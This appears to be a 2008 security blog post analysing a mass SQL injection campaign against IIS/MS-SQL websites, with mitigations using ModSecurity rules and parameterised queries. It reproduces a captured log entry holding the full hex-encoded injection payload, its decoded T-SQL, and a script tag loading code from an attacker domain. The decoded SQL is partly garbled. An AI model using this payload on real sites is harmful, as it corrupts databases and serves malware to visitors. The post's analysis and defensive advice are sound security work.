Mass SQL Injection Attacks Infect Thousands of Websites

Here is a snippet from the just released SANS NewsBites letter:

"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

Additional coverage is available from several places:
InfoWorld
CSO Online
The Register

So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts the following javascript code "<script src="http://?.uc8010.com/0.js"></script>" into all varchar and text fields in your SQL database.

While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

2007-12-30 18:22:46 POST
/crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–17880040e14Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000′.
- 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500
15248

If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id
and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+''



''')FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE
@T varchar(255),@C

Mitigation Options
There are many remediation steps that can and should be taken.

Immediate Fix: Use ModSecurity and the Core Rules
If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.

Mid-Term/Long-Term Fix: Correct the Code
Web developers should identify and correct any Input Validation errors in their code, and make sure the SQL queries are sent to the database in a safe manner (which typically translates to using binding to pass parameters).